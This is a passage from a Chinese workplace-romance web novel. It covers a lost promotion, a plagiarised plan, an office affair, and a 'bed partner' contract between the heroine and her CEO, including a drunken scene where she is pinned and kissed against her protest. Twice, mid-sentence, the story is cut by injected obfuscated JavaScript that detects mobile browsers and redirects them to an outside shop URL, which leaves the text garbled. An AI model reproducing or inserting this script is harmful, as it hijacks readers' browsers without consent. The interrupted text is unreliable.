听见“汪汪”的狗叫声,她不由松了口气,转过小径,就看见雪白的小团子迎面朝她跑来。 “Oliver……”皮一夏蹲下身抱起他,边撸毛,边往宴客厅走,“你爸爸担心你,让我回来看看,幸好你没事,泳池很危险,你要离远点哦!” 会游泳的Oliver:“汪、汪汪!” 放了一大半水的游泳池:“……” 走到屋门口,皮一夏收到贺章的微信:「没事就留在家里,陪他玩一会。」 嘁!还要你说!Oliver比你可爱多了! 她刚在椅子上坐稳,又收到贺章的微信:「花园二楼卧室里,有你的工作奖励。」 啊?还真有工作奖励啊?有点好奇……皮一夏抱着Oliver朝花园走去。 进入小木屋,上了二楼,推开卧室门一看,床上躺着一只企鹅公仔。 “哇——”喜新厌旧的皮一夏丢下Oliver,跑到床边一把抱起企鹅,“好可爱好可爱!!!” 这公仔有小半张床那么大,毛茸茸的,憨态可掬。竟然是这么可爱的工作奖励!对不起老板我承认刚才对你太大声…… 好像还挂了他电话……呜呜,贺章不会记仇吧?当老板的,应该像企鹅一样大肚能容吧? 皮一夏纠结片刻,拍了张Oliver的照片,给贺章发了过去。 皮一下很开心:「Oliver没事,您放心吧。我刚刚情绪不好,您大人大量,别跟我计较[拜托]」 东京宝格丽酒店房间。 贺章坐在露台的沙发里,面前桌子上放着笔记本电脑,他拿起手机,点进微信看了眼,嘴角缓缓勾起笑意。 很快,又收到两条,一张企鹅公仔的照片,还有一行文字。 皮一下很开心:「奖励我很喜欢,谢谢老板[转圈圈]」 贺章他捏着下巴,等她下一条,等了半天,都没再发来。 等待让他心情不爽,脸色不由沉了些。 抱着公仔发张自拍很难吗?! 想了想,手指在键盘上敲出一句话。 远在北京的皮一夏拿起手机,看到了老板的指示:「照顾好Oliver,允许你住在家里。」 她盯着这句话看了好几遍,抿嘴笑了:「好的,老板!」 周一早上起床时,天阴着,皮一夏出门太匆忙,忘了拿伞,结果走到半路,突然开始下雨,幸好遇到市场部一个开车的同事杨茜,载了她一段路。 八点四十八分,车子开进C座旁边的地下车库,皮一夏急着上楼打卡,顾不上和杨茜多说,车刚挺稳她就窜了出去,跑着去按电梯。 冷不防在减速带上绊了一跤,手机摔到了地上,她跑过去捡手机时,扫见旁边的车位上停着一辆蓝色保时捷。 这是赵总的车,她知道,可Daisy为什么坐在赵总车里?正犯嘀咕时,炸裂的一幕出现了。 Daisy从副驾探身到驾驶位,笑着亲了一下赵总! 天爷!华森文娱首席运营官、苏晨雪表姐的老公、刚办完婚礼的赵衡,和Daisy有一腿?! 皮一夏震惊得人都傻了,连手机都忘捡,还是杨茜走过来,帮她捡了起来。 “怎么了皮皮?”杨茜问。 她蓦地回神,急忙转开眼,和杨茜笑着打哈哈:“没事没事,快去按电梯,要迟到了……” 正说着,余光瞥见Daisy和赵衡从车里下来了。皮一夏做贼似的不敢扭头,生怕后面人发现她撞破了奸情,谁知却被Daisy主动喊住了。 “皮皮,你等一下!” 她只好停下脚,转身,稍显僵硬地笑起来:“好巧啊Daisy,赵总早!” 这对野鸳鸯脸色都有点不自然,赵衡说:“今天下雨,路上遇见Daisy,捎了她一段。” 欲盖弥彰了不是。您一个当老板的,何必给下属解释? 皮一夏已从震惊中恢复正常,听见这话,很自然地接了一句:“我也差点被淋,幸好茜姐路过,搭了我一程。” Daisy笑着走过来挽她胳膊:“咱俩都是幸运儿。” 皮一夏忍不住泛起一阵恶寒。 直到坐进工位,她还在琢磨这事。怪不得上一次,看见赵衡跟Daisy一前一后从会议室里出来,当时她就隐隐感觉哪儿不对劲。 这俩人是什么时候勾搭上的?竟然在公司里这么不避讳。这可怎么整,要不要告诉苏苏? 琢磨了半晌,也没得出个结论,索性先放下。心一静,忽然发现哪里不对劲。 宣传部今天怎么这么安静?平时早上可不这样,哪天不得闲话二十分钟,才开始正儿八经干活? 尤其是张宝静,一向爱闹的人,这会儿脸色却很严肃。 皮一夏想了想,私下问小美:“发生什么事了?” 小美悄悄告诉她:“皮皮姐,宝静姐和Justin吵架了,吵得可凶了。” 皮一夏朝对面看了眼,Justin不在工位,在Daisy那边的运营中心,跟小姑娘聊天呢。 皮一夏先把张宝静叫到会议室,问了事情缘由。 原来是因为宣传方案分工,张宝静觉得Justin甩活,心里不平,这才跟他在工区撕吧起来。 哎……又是Justin。 皮一夏先安慰了张宝静,让她回去干活,接着又把Justin叫到会议室,问明情况后,好话歹话连敲带打地说了一顿。 Justin仍然一副吊儿郎、谁都不服的样子,临走还说了句:“随便呗,此处不留爷,自有留爷处!” 皮一夏气了个倒仰,开始认真考虑贺章提议的“优化”。 周一开局不顺,按照她以往的经验,这一周都不会消停,果不其然,周三下班前,皮一夏就收到个坏消息。 Vivian把她叫到会议室,说晋升人选最终定了Daisy,已经报到了人事部,很快就会发通知。 皮一夏虽然有了心理预期,还是忍不住失望:“Vivian,我输在哪里?是上次的述职汇报,还是这次的年度规划?” Vivian说:“皮皮,其实你能力各方面都不差,但在人际关系这块,还需要修炼。这次的评定,是几个高管合议,大家很认可Daisy的沟通能力,赵总也对她的年度规划赞赏有加。” 皮一夏有点茫然。她虽然不像Daisy那样逢人就笑,但也不是不懂人情世故,在公司人缘并不差,还需要修炼什么?像Daisy一样扑到赵总嘴上修炼吗?不是她以小人之心度君子之腹,在这个节骨眼上,撞见两人的奸情,是个人都要多想。 皮一夏追问了几句,Vivian语焉不详,说来说去,都是让她放平心态,做好自己的事。 从Vivian的办公室出来,皮一夏在工位上坐了会儿,七点半,宣传部其他人都下班了,张宝静还在。 “你怎么还不走,什么没做完?”皮一夏问。 张宝静摇了摇头:“我可以走了,这不是想陪你一会儿嘛!皮皮姐,我看你从Vivian屋子出来时,脸色不大好,是不是……竞聘结果不好啊?” 最后一句话压低了声音。皮一夏挑了挑眉,再次服了这个机灵鬼的眼力劲。 “天天琢磨上司的心思,我看你能开一门职场课了。”皮一夏怼了她一句,但没有生气,竞聘的事,倒也不用瞒着,反正很快就会有通知,“确实不好。” 张宝静仰天叹气:“这会儿可以跟你说实话了,其实一开始,我就觉得你有点悬。” “为什么?”皮一夏诧异,“我能力很差?” “当然不是!你差的不是能力,是让领导开心的技巧啊……”张宝静意味深长,神秘兮兮地朝她挤了挤眼,“你有没有发现,Daisy跟赵总……走得很近。” 皮一夏心里一动:“你想说什么?” 张宝静纠结地对对手指,最后像下了决心似的,凑过去小声说:“我之前,看见过Daisy跟赵总,在会议室里激吻!” “你也看……”皮一夏脱口而出,又及时刹住,“你什么时候看见的?” “就上个月啊。有天我加班比较晚嘛,走的时候办公区的灯都关了一半,结果路过会议室的时候,听见里面有女的笑,转头一看,你猜怎么着,1号会议室的百叶窗不是有两条坏了吗,从窄缝里,透出一双女人的小腿,还有穿西裤的腿……缠在一起。我靠我当时想谁这么火爆,当办公室没人了吗!我就蹲下去,透过那个窄缝看了一眼……赵总坐在会议桌上,Daisy圈着他的脖子,整个人扑在他怀里,俩人亲得舍生忘死的……” “……” 张宝静把个桃色事件说得香艳四溢,皮一夏忍不住浮想联翩。 少顷定了神,语含警告地嘱咐张宝静:“这事你知道就是了,别跟其他人说,免得被当事人听到耳朵里,把你揪出来,到时候我可保不了你,知道吗?” 张宝静撇了撇嘴:“他们以为能瞒得住?一男一女只要有了不同寻常的关系,就算装的再正常,也总会有蛛丝马迹露出来,不是眼神,就是手脚。” 大宝这丫头,讲起八卦来也是一套一套的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14549340|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他们能不能瞒住,是他们的事,我只在乎我的人,别被牵扯进去。你听见没有,跟人事部那小姑娘吃饭的时候,少叭叭这些。公司里的八卦渠道就是一团乱麻,你不知道谁跟谁是一条线上的。再有,竞聘这事,输了就输了,你也不用为我可惜。” 张宝静做个鬼脸:“我知道的皮皮姐,你放心!” 皮一夏拎包下班,叫上张宝静一起走。 下过雨的路面湿,不适合走路回家,皮一夏就跟张宝静同行到地铁口,都坐地铁回去,但两人不一个方向,进了站就分开了。 站在地铁车厢里,她忍不住回想张宝静的话。 确认了Daisy和赵衡有关系这件事,并没有让她对竞聘结果感到愤恨,相反,还轻松了不少。 至少可以安慰自己,不是专业能力差,而是向上社交不行,此时再回想Vivian意有所指的一番话,思路就开阔了。 有些“社交关系”、“沟通能力”,她不想研究,也根本学不来,但她并不会因此而自觉比那些精于此道的人高尚。职场就是个小社会,应该允许各种各样的人存在,每个人都不过是遵循自己的内心,按照自己喜欢的行为方式,去获取想要的东西。 就算Daisy是因为跟赵衡的关系才上位的,至少她付出了,而她皮一夏没有,也不会,所以不该为最后的结果不平。何况Vivian也说了,赵总认为Daisy的年度规划写得好,也许人家也不全是靠关系,仅凭八卦和臆测就否定一个人的能力,倒显得她格局小了。 想通这一点,心情好了不少,虽然遗憾,但输就输了吧,她不是输不起的人,以后再战就是了。 走进丰和壹号别墅时,Oliver等在门边,见着她就汪汪叫着扑过来。皮一夏撸着小团子软软的毛,心情更好了。 她突然有点想念贺章。 不是有点,是很想。情绪汹涌得令她感到陌生和恐慌,她以前,有这么想念过一个人吗? 想和他说说话,或者只是看看他的脸……完蛋了皮一夏,你病入膏肓了! 她拿起手机,点进贺章的微信聊天窗口。 从周日到周二,每天都有给他传Oliver的照片,但他只在昨天晚上,回了一个“好”字。 这么忙吗?多说一句话的功夫都没有? 纽约时间上午十点,哈德逊场30号写字楼27层的会议室里。 贺章的手机铃声突然响了。 他朝屏幕上扫了一眼,神色顿了顿,似乎很意外。 林献瞥见来电人的名字,心下恍然。 他们此刻正在跟几个老美进行商务会谈,Ethan从不在会议上接听私人电话,即便是这位皮小姐,也应该没有例外。 果然,他盯着闪烁的屏幕迟疑了一瞬,就将来电静音了。 然而,接下来的会谈里,Ethan显得有些焦躁。外人可能看不出分别,但林献跟在他身边五年,太熟悉他的微表情,还有那越发犀利的言辞代表什么。 原本预计四十分钟的会谈,在第二十八分钟时结束了。 林献出门送客,腿还没迈出去,就看见老板把手机靠在耳边,说了一句:“找我什么事?” 声色还是一如既往的淡漠,语气却稍显紧绷。细品,似乎透着一丝小心翼翼。 皮一夏被他震慑住了。 声音有点冷,心情不好吗? 她原本紧张又期待的心情,变成了彻头彻尾的紧张,脑子一短路,连刚才为什么给他打电话也忘了。 “那个……” 她懵了一会儿,才想起来,因为想听听他的声音,她找了个有点拙劣的借口,做足了心理建设,才小心地拨出了号码。 电话一直响,但没人接听。最后她自己挂断了,又开始后悔,是不是打扰到他了? “我的电话,打扰到你了吗?”皮一夏问。 声音小小的,从话筒里传出来,尾音沙沙的,勾人,贺章沉默了几秒,才说:“没有。” 他自觉说话如常,听在皮一夏耳中,还是冷漠,似乎不想浪费时间,只想快点搞清楚这通电话的缘由。 皮一夏忽然情绪低落,一时更后悔刚才的冲动了,但既然已经打通了,还是赶快说事吧。 “就是……问问你,如果我想给Oliver买点狗粮,有什么讲究吗?比如他只吃哪个牌子的?” “家里的狗粮吃完了?”贺章问。 “还剩一点,我想再补充一些。你家的这款外国牌子,我在网上搜了搜,没搜到,所以……” “你去二楼,有个储藏室,里面囤的狗粮够他吃三个月。” “哦。那我明天来了上去找找。”没有借口再聊,也不该再打扰了,“你忙吧,我就这个事,再……” “你在出租车上?”他忽然截断她的话,语气稍稍有点急。 皮一夏愣了愣:“你怎么知道?” “听见关车门的声音。” “哦……你耳力真好。我刚上车,不打扰……” 她说着又要挂断,结果再一次被贺章截断。 “电话通着。等你到家再挂。” “为什么?”皮一夏不明所以。 声筒里静了几秒,传出他依旧低沉而淡漠的嗓音:“北京时间晚上十一点,你一个女孩子,你说为什么?” 还真是一如既往的绅士。对女孩子。是对所有女孩子,还是单单因为是她,才愿意浪费时间陪伴一程?是看在他们之间,不同于普通男女的那一点浅薄交情吗? “跟你说过,天晚了住在家里,为什么不听?”他的声音有些不快。 25. 赌气 皮一夏压下翻涌的小心思,尽量正常地说:“我明天还要上班,这里没有化妆品和衣服,不方便。再说,这会儿还不算太晚,没有理由赖在你家。” 这句话说完,两人都有点不知道聊什么了。 过了会儿,皮一夏问:“你那边,该是上午十一点吧?” “嗯。” “出差顺利吗?” “顺利。” 那明天能回来吗?她想问这句,却问不出口。第一次为自己在男女关系里的怯懦感到无所适从。她沉默着,没再开口,贺章却把话题接了下去。 “公司里有什么事吗?” 皮一夏想到了今天竞聘失败的坏消息,很想和他说说自己的想法,也想听他评判几句,他总是一针见血地指出问题。然而犹豫一瞬,还是没提工作上的事。 “如果你看见一些不正常的事,这件事说出来,会搅乱你朋友的生活,也许动静还会很大。但如果不说出来,你的朋友就成了被人欺骗的傻瓜,你会说吗?” 她在纠结,该不该把赵衡和Daisy的事告诉苏苏。如果告诉了苏苏,她说不定也要纠结,要不要告诉她表姐。 但如果不告诉,良心上过不去。她跟苏婉愉毕竟有几分交情,而且上次婚礼,还借过人家的衣服。现在苏婉愉被刚结婚的老公背叛,而且说不定婚前就开始了,她却被蒙在鼓里,有点可悲。 她最见不得女人和孩子被欺负。 贺章说:“如果你是那个被人欺骗的傻瓜,你希望有人来告诉你这件事吗?” 皮一夏代入自己,几乎不假思索:“当然!谁要是敢这么背叛我,我一定报复回来!宁愿撕扯得明明白白,也不要当个被人戏耍的糊涂蛋。” 对面一时无声,她又开始想,是不是表现得太愤慨,太不端庄了。 正暗自懊恼,贺章又说:“你怎么知道,其他人都和你一样,不想当个糊涂蛋?也许,那个糊涂蛋只是在假装糊涂,你去戳破这一层,他该如何自处?小姑娘,不要以己度人,去干涉他人的命运。” 皮一夏忽然感觉脸热。 他叫她小姑娘……这个语气是不是太过亲昵了?还是说,这个称呼只是随口调侃,没有任何其他含义? 事实上,这句话说出来,电话另一端的贺章也愣住了。无声的寂静里,他忽然希望这不是一通电话,而是一个微信视频,这样就能看见她的表情。是错愕的?不快的?还是敢怒而不敢言的憋闷?就像她常常在无意间表露出来的神色。 他正要打破这个僵局,却被她抢先一步。 “那你觉得,我该保持沉默,什么也不做吗?” 他眉头不自觉皱起来,为她就事论事的理性而不悦。 “看你和这位朋友的关系。如果关系很好,不妨找机会提点几句,关系一般就算了。” 其实贺章这话,未经深思熟虑,不过随口一提。毕竟在他的人生里,从来没有过这样的经历,他也从不理会这种麻烦。不过听她声音有几分苦恼,不由自主地想开解一番,至于其他人如何,他并不关心。 皮一夏想了一会儿,眉头舒展开了:“我知道怎么做了,谢谢你啊。” 她的声音雀跃了不少,他也跟着愉悦起来。 正在想接下来聊什么,又听她说:“我到小区了,不打扰你了,你……早点回来,再见。”说完就挂了电话。 贺章骤然又沉了脸色。这个女人,还是一如既往的,用完就扔! 皮一夏挂了电话,付完出租车费,就给苏晨雪发微信:「苏苏,约吗?」 上楼的时候收到回复。 苏苏:「约。但是这两天不行,周五晚上吧,我去你家,你给我炒几个菜,我最近吃西餐吃得快吐了。」 皮一下很开心:「没问题,大小姐想吃什么,尽管点!」 周五是三十号。 每年的九月三十,是华森集团开放日。这一天,公众可以去华森园区免费参观,当天会举办科技、艺术、企业文化等各种各样的展览,员工们也是半放假状态,允许自由活动。 但对中高层员工来说,就没这么轻松了。在开放日当天,一般会有CEO演讲、高层业务分享,结束之后的晚上,还有小型的酒会,别的品牌也会在这一天,在华森园区投放广告,皮一夏这个级别的牛马,得从头参与到尾。 好在当天食堂有大闸蟹,稍稍抚慰了她疲惫的心。然而,大闸蟹带来的愉悦感仅维持了很短的时间。 下午三点,当皮一夏坐在会议室里,看完Daisy的年度规划文件时,心情从最初的茫然、疑惑,逐渐转变为震惊、愤怒。 原本,今天上午十点,安排了CEO演讲环节,但贺章的飞机延误了三个小时,只好改到下午,因为这个意外,所有的高管分享环节都往前提了。 下午一点半,赵衡分享了关于明年文娱业务的展望,并当场宣布了对Daisy任命——华森文娱内容中心负责人,Vivian休假后正式生效。 都是提前知道的事,皮一夏没有太大感觉。但之后,赵衡让Daisy分享关于内容中心明年的工作规划,皮一夏盯着会场前方大屏上的PPT,内心充满了疑惑。 Daisy的文件上,有10页内容和她的竞聘文件雷同,只改换了颜色和版式,微调了少量词句。 皮一夏找到人事部主管,要到了Daisy的竞聘文件副本,看完之后,她完全确认自己被抄袭了,可是怎么会呢?Daisy怎么会有她的竞聘文件呢? 巨大的震惊让她沉默了。 张宝静坐在一旁,迟疑着说:“皮皮姐,有一件事,我现在想起来有点奇怪。上周……好像是周三快下班,你被赵总叫去他办公室,Justin忽然跑来你工位看你电脑,我当时还问他在干嘛,他说,你让他帮忙传一个文件。” 皮一夏懵了:“我从来没让Justin传过什么文件。” 两人面面相觑,对视片刻,全明白了。 皮一夏怒火中烧,当即给Daisy发微信:「来3会。」 直到下午三点半,Daisy姗姗来迟,一进门还是假惺惺那一套,谦虚地说自己不配,但只能勉为其难地试一试。 皮一夏嗤笑一声:“一个靠剽窃上位的人,你确实不配。” Daisy当即变脸:“你什么意思皮皮,我哪儿招惹你了?” 皮一夏把电脑屏幕转向她:“解释一下,为什么我PPT里的内容,会跑到你的PPT里,还公开分享这个文件,你怎么敢的?你以为我今天都在外场,不会来听演讲,所以不会发现你抄袭?” Daisy眼里有片刻的慌乱,但很快就恢复如常。 “你误会了。我从来没见过你的竞聘文件,如果有内容雷同,那纯属巧合,你能想到的东西,别人未必想不到吧。” “哦?巧合到连标点符号全角半角,这种低级错误都一模一样?” “随你怎么想。”Daisy仍然神态自若,却不再像以前一样,和她假装亲昵,“我没有抄过你。” 皮一夏当真有点佩服她了,铁证如山,还能睁着眼睛说瞎话。 “好啊!那就让Vivian来判断。看是我抹黑,还是你下作。” Daisy并不怕她威胁:“你让赵总来判断,我也是这个说法。” “你现在,是不是有恃无恐啊?” 皮一夏丢下这么一句话,离开了会议室。 她心情很差,不想再回汇报大厅,就找了僻静的角落坐了半个小时,刚平复一点,又接到了姑姑的电话。 皮一夏直接挂掉。再打再挂。 很快,一条短信发了过来:「夏夏,你弟弟上北京去了,现在在你家门口,你回去看看他吧。」 表弟来了?他不是生病了吗?不是在医院快活不成了吗?还有,他怎么知道她住哪?皮一夏感觉头都要炸了,掐着太阳穴冷静半晌,打车回家了。 下午四点,贺章回到了园区。和他同行的除了林献,还有褚彦。 进入U3区的汇报大厅,贺章径直上台。这是他就任CEO三周以来,第一次在集团正式场合公开亮相。汇报大厅里除了各业务集的中高层之外,还有来凑热闹的普通员工,大家对新CEO都有点好奇。 三十多级的木质阶梯上,满满当当全是人,大概有一千名。最后几排的女孩子们,三三两两凑在一起,讨论老板的个人魅力。 “老板真人比照片上帅多了!” “但气质好冷你们不觉得吗?感觉不好说话,跟咱们董事长风格差好多!” “他往这边看过来了,感觉在找什么人……” 林献窝在最后一排的角落里,默默听着女孩子们的议论,最后也开始全场扫视,可直到贺章的演说结束,林献仍然没看见老板在找的人,难道真不在? 晚七点,连接A座和B座的廊桥宴会厅里,酒会开始了,高管们端着酒杯,已经打了一圈招呼。贺章被几个人围在中间,都是董事会的元老,听完贺章下午的演讲,众人提炼出三个关键词:降本增效、1+4组织变革、褚彦。 所谓降本增效,说白了就是要裁员,这两年经济下行,业务营收增长变慢,裁员潮是早晚都要经历的,不算很意外。 意外的是贺章关于组织变革的“1+5计划”,未来在集团之下,各大业务集将分别成立董事会,实行“中央集权、藩镇自治”的管理模式。如此一来,业务运营就像赛马,谁跑的快、谁拖后腿,财务报表上一目了然,闲散和安逸的日子将一去不返。 丁康琪以投资人担忧、内部人心不稳为矛,率先进攻,蒋鸿随后跟上,说贺章应该先跟董事会商讨过后再宣布。贺章一一驳斥,经过二十多年的发展,华森集团如今就像一艘巨轮,内部机制不灵活,在市场竞争中难免掣肘,改革是就为了应对大公司病,没什么好畏缩的。 至于没有通过董事会讨论,贺章就是要快速推进,先落子,再逐个应对老家伙们的纠缠。 “组织变革要一步步来,先拿文娱业务作为试验田,我把Lamoda时尚集团少东请来了,他的能力,诸位不妨拭目以待。” 众人闻言,朝宴会厅另一头的褚彦扫了眼,脸色不仅没有好看,反而更难看了。这个顶着一头红发的二世祖,他有什么能力?让他掌管整个文娱集团,相当于给赵衡找了个老板。而赵衡的立场是在蒋鸿这边,贺章的行为,无疑是将了蒋鸿一军——把赵衡变相降职,还在文娱业务里插了自己的人。 这个太子爷,果然和他老爹贺华森不是一个路子!蒋鸿怒而不发。 这时,林献忽然过来,提醒道:“贺总,《远望》杂志的记者到了,正在等您。” “好。”贺章转身往会客室去了。 晚九点,皮一夏出了C座大楼,径直往园区侧门走,步子有点不稳,深一脚浅一脚的。 这一下午,她被各种突发事件搞得心情down到极点,以至于在酒会上看见贺章,都没有感觉太开心。 他被众人簇拥,如那高悬夜空的月,不是她可以肖想的——在偷瞥了他好几次,都没有如愿和他对视以后,她不由泄气。 酒会上只待了几分钟,她就回了办公室。同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566657|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事们都下班了,这会儿是最安静的,她从冰箱里拎出几罐啤酒,抱着膝盖坐在工位上,边喝酒边想心思。 一会儿想,被Daisy抄了方案,这事什么时候跟公司说?还是节后吧,让Vivian好好过个假期,她也需要整理一下思绪。 一会儿又想,表弟竟然来了北京,还打听到了她的住址,姑妈也真是够狠,竟然让一个病恹恹的孩子来找她借钱,她若是还不借,岂不是泯灭人性?可姑妈先前对妈妈又打又骂,还在妈妈灵堂里大吵大闹,这种恨意该怎么消? 她有点头疼,脑袋昏昏沉沉地像扣了个大锅,拿起手机一看,发现关机了,大概是没电了,就打算回家了。 刚走出园区大门,看见一个眼熟的人。 “褚彦,你好……” 褚彦正倚在车旁抽烟,皮一夏摇头晃脑想了会儿,才记起他叫什么。 见她醉的不清,褚彦说:“要回家吗?捎你一程?” 皮一夏呆了两秒,直接开门爬进了副驾,一点也不拿自己当外人。 车子启动,褚彦问:“你家在哪?” “家在,佳、佳华小区,你顺着路,不用,不拐弯。” 她大着舌头说完,就歪靠着椅背,闭上了眼睛。 十分钟后,车停在佳华小区门口,褚彦先下车,走到副驾门边,见皮一夏身形摇摇晃晃,下意识扶了一把。 正在这时,一声汽车鸣笛,和一声“哥”,几乎同时响起,把褚彦吓了一大跳。 先朝身后看,苏晨雪从佳华小区里走了出来。 “晨晨,你怎么在这?”褚彦问。 苏晨雪也问:“你怎么在这?” 褚彦朝皮一夏抬了抬下巴:“呐,因为她。” 皮一夏看见苏晨雪,冲她傻傻地笑:“苏苏,你怎么在这?”她完全忘了今晚和苏晨雪有约。 话音刚落,又一个人过来了。 “贺总怎么也来了……” 一个醉鬼,身边围了三个人。彼此面面相觑,各自错愕不已。 苏晨雪盯着皮一夏看了会儿,忽然抬手打了她一下:“皮一夏,你讨厌死了!” 被打的人捂住肩膀,懵了两秒,立刻打还回去:“你才讨厌死了!你干嘛打、打我……” “我就打你!”苏晨雪又踢了她一脚。 皮一夏也还了她一脚:“那我也打你!” 褚彦和贺章懵逼地对视一眼,立刻冲过去,一人拉一个,把打架的两姐妹分开了。 贺章拦抱着皮一夏,她在他怀里扑腾着,朝苏晨雪隔空踢腿:“你打我、你干嘛打我……呜呜……”说着就开始掉眼泪。 苏晨雪见她哭,也忍不住红眼圈:“你该打!我讨厌你,不要跟你做朋友了呜呜……” “我也不要跟你做朋友了!” 显然这两人都不清醒,褚彦跟贺章对视一眼,再次达成默契。 褚彦把苏晨雪塞进副驾,径直往前开。贺章把皮一夏抱上自己的车,拐进小区。 吉普车在车位上停稳,皮一夏还在拳打脚踢地哭。 贺章下车,拉开副驾车门,一把抱起那个毫无仪态的疯女人,冷脸道:“皮一夏,你今天死定了!” 上行的电梯里,皮一夏还在呜呜呜,搂着贺章的脖子,靠在他肩头,边哭边打他。 “……该死的苏晨雪,我跟、跟你没完!”说着被口水呛住,不停地咳咳。 贺章咬了咬牙,深吸一口气。 电梯门开,贺章抱着她走到门口,放下地:“开门。” 皮一夏扒着门框输密码,输了好几次才把门打开。 贺章一手攥住她腕子,另一手推开门,直接把她拽进屋里。皮一夏甩掉风衣,蹬掉高跟鞋,光脚踩在木地板上,试图挣脱贺章。 “你放手、你谁啊干嘛来我家……” 贺章沉着脸,把她另一只手也攥住了:“你说我是谁?昏头了?!” 皮一夏撇了撇嘴,一扭头:“不认识!” 其实还残存着三分意识,但胸腔堵着一团气,不知道怎么办,只好见谁朝谁撒气。 “不认识?!你倒认识褚彦?什么时候勾搭上他的?!” “你说什么?”皮一夏气呼呼转回头,一边继续挣扎,一边拿胳膊搡他,“你放开我,这是我家、我报警了……” 贺章一听这话,脸色更难看了,一把攥住她两只手腕,胳膊朝天,将人死死扣在墙上。 “皮一夏,你给我清醒一点。” “我就不!你谁啊你……” 贺章两指挟住她下颌,迫她仰头,盯着那双红红的眼睛看了几秒,忽然低头,气势悍然地吻住了她。他将她两瓣红唇含住,惩罚似的又吮又啃。 皮一夏后背贴着墙,冰凉,胸前贴着贺章,滚烫,像个夹板一样被人死死固定住,连腿都动不了,嘴也被占着,只能发出“唔唔”的抗拒声。 气急了,眼睛眨巴眨巴,泪珠忽然滚落下来。贺章有点无措,只得暂时放开了她。皮一夏鼻翼翕动着,开始边哭边嚷。 “你干嘛咬我……该死的苏晨雪、打我……呜呜,你咬我……”她哭得毫无形象,眼泪鼻涕糊了一脸。 “别哭了。”贺章声音平平地说了一句,已是最大程度的妥协和安慰。 皮一夏猛地推开他,贺章冷不防倒退了两步。 她靠着墙壁滑坐到地上,香槟色的礼服裙摆在地上铺展开,一双大眼被泪水糊住了,贺章走过去,在她身侧蹲下来,漆黑的眼瞳盯住那张哭花了的脸。 “不是在等我答案吗?别哭了。” 26. 契约 皮一夏不理会他,自顾自哭了一会儿,心里的憋闷劲儿散了些。 “我不要了!”她恶狠狠地说。 什么Ethan、贺总……都不要了!工作也不要了! 贺章拧眉:“你敢。” “我有什么不敢的。”皮一夏梗着脖子。 “我同意了。”贺章冷冷道,“由不得你不要。” 对峙片刻,贺章将她从地上拉起来,塞进了卫生间,顺手关上门:“涮干净自己,再来和我说话。” 皮一夏这会儿清醒不少,朝镜子里看了眼,顿时尖叫出声。 贺章以为她出了什么事,忙推开门,还没看清人呢,皮一夏捂着脸,从他胳膊底下钻出去往卧室跑。 “你鬼叫什么?” 皮一夏跑到衣柜前,从里面翻出睡衣,团成一团挡住脸,又溜回了卫生间,接着把门关上了。 她的眼妆全花了,脸上残留眼线和睫毛膏的黑色水迹,刚才在贺章面前,一定跟个疯婆子一样……呜呜死了算了! 贺章低笑一声,走到沙发前坐下,拿出手机,开始处理工作。 半个小时后,皮一夏洗完澡,从卫生间出来,换了干净的衣服,裸粉色常规款睡衣套装,怕贺章等久了不耐烦,头发只吹了半干。 贺章抬头看了她一眼,把手机放到了茶几上。 皮一夏有点尴尬、也有点紧张,低着眼,慢吞吞走过去,拖过蒲团坐在地上,同贺章中间隔着一个茶几。 “对不起。”她小声道歉,“我现在清醒了。” 贺章沉沉的目光盯她:“发生什么事了?” “什么也没有发生。” “那为什么喝酒?还喝得醉醺醺。” “我……想喝就喝了。今天集团开放日,热闹,开心嘛!” 她不想跟贺章说太多。 工作上的事,跟他说不合适,好像在越着好多级告状。生活里的事,也没什么好说的。 “你刚刚说,同意了。”她主动转了话题。 贺章沉默望着她,也没再追问:“是,我同意了。” “为什么?” “你说为什么?”贺章嘴角勾着一丝促狭的笑,用她先前的话回敬,“因为合拍。” 皮一夏忽然感觉耳根发热。 “坐过来。”贺章拍了拍沙发。 皮一夏愣住,结巴:“现、现在就要吗?”她还没做好准备。 “你在想什么乱七八糟的。”贺章皱着眉头说。 “不是你说,让坐过来吗?” 她的语气有点不高兴,但还是站起身,绕过茶几,走到沙发前,坐到了他旁边。 贺章侧过身问:“关于、床伴,你有什么要求?” 啊?她还没想过这个问题。 皮一夏有点傻眼,呆了半天说:“看你吧……我也不知道,该有什么要求。” “那就听我的。一周见四次,每次至少两小时,有问题吗?” 他好像在处理工作上的事,冷静又淡然。 皮一夏懵懵地:“四、四次是不是太多了?” 她周三周六都要去他家工作,如果再加上四次,那岂不是一周里六天都在那,还是说,他想把其中两次,安排在她工作那两天? “我觉得不多。”贺章说。 “好、好吧……”反正她也不亏,不过,“一次两个小时,会不会太久了?” 贺章眼中霎时泛起不悦之色:“你在怀疑我的能力?!” “不是!”皮一夏面红耳赤摆手,“就、就是,感觉我可能会受不了……” 为什么要讨论这么尴尬的细节啊!! “这就要说到下一个问题。”贺章缓缓道,“为了之后更和谐,前期需要先培养默契,先从接吻开始,一步一步来。这两个小时,也可以做点别的事,不必一直在床上,有问题吗?” 好像,挺合理的。 “可以。” “既然如此,那就开始吧。” 皮一夏茫然:“开始什么?” “吻我。”贺章冷静又严肃地说。 “……” 这么快吗?刚刚定下契约,不需要缓冲一天吗? 贺章见她迟疑,顿时拧眉:“我不喜欢浪费时间。” 好吧。 贺章正襟危坐,两腿敞着,双手扶在膝上。 